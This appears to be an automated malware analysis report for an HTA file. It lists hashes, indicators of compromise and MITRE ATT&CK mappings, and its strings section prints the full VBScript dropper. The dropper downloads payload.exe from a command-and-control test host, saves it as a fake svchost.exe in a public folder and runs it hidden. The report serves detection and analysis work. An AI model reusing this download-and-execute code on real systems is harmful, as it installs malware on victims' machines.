KVMX

Evidence-First Malware Analysis

Analysis Report: hta_mal.hta

Verdict: MALICIOUS

hta_mal.hta has an unrecognized format. Verdict: malicious.

Analysis Overview

Score: 9/10

Threat level: Malicious

Malicious Activity Summary

- Obfuscated Files or Information
- Masquerading
- Application Layer Protocol: Web Protocols
- Ingress Tool Transfer

Hashes

SHA-256:	5919a5335c34316cf2601105d29e3eaa1df14bfd6b679f5282b23087b36a9576
SHA-1:	1b78c0f1329b1837cf3adf0fe71b6f7b8bd3f70c
MD5:	4a448105de2da7b349808acde900224f
Size:	686 bytes

Packer Detection

No packer detected.

Strings (22 found)

```
<html>
<head><title>Update</title>
<HTA:APPLICATION ID="oHTA" APPLICATIONNAME="Update" BORDER="none" BORDERSTYLE="none" SHOWINTASKBAR="
</head>
<body>
<script language="VBScript">
Dim oShell, oHTTP, oStream
Set oHTTP = CreateObject("MSXML2.XMLHTTP")
oHTTP.Open "GET", "http://cov-smoke-c2.test/gate/payload.exe", False
oHTTP.Send
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write oHTTP.ResponseBody
oStream.SaveToFile "C:\Users\Public\svchost.exe", 2
```

```
oStream.Close
Set oShell = CreateObject("WScript.Shell")
oShell.Run "C:\Users\Public\svchost.exe", 0, False
window.close()
</script>
</body>
</html>
```

Indicators of Compromise (4)

URLs (1)

`http://cov-smoke-c2.test/gate/payload.exe`

Domains (1)

`cov-smoke-c2.test`

File paths (2)

`/gate/payload.exe`

`C:\Users\Public\svchost.exe`

MITRE ATT&CK (4)

Technique	Name	Tactic	Source
T1027	Obfuscated Files or Information	Defense Evasion	
T1036	Masquerading	Defense Evasion	
T1071.001	Application Layer Protocol: Web	Command and Control	
T1105	Ingress Tool Transfer	Command and Control	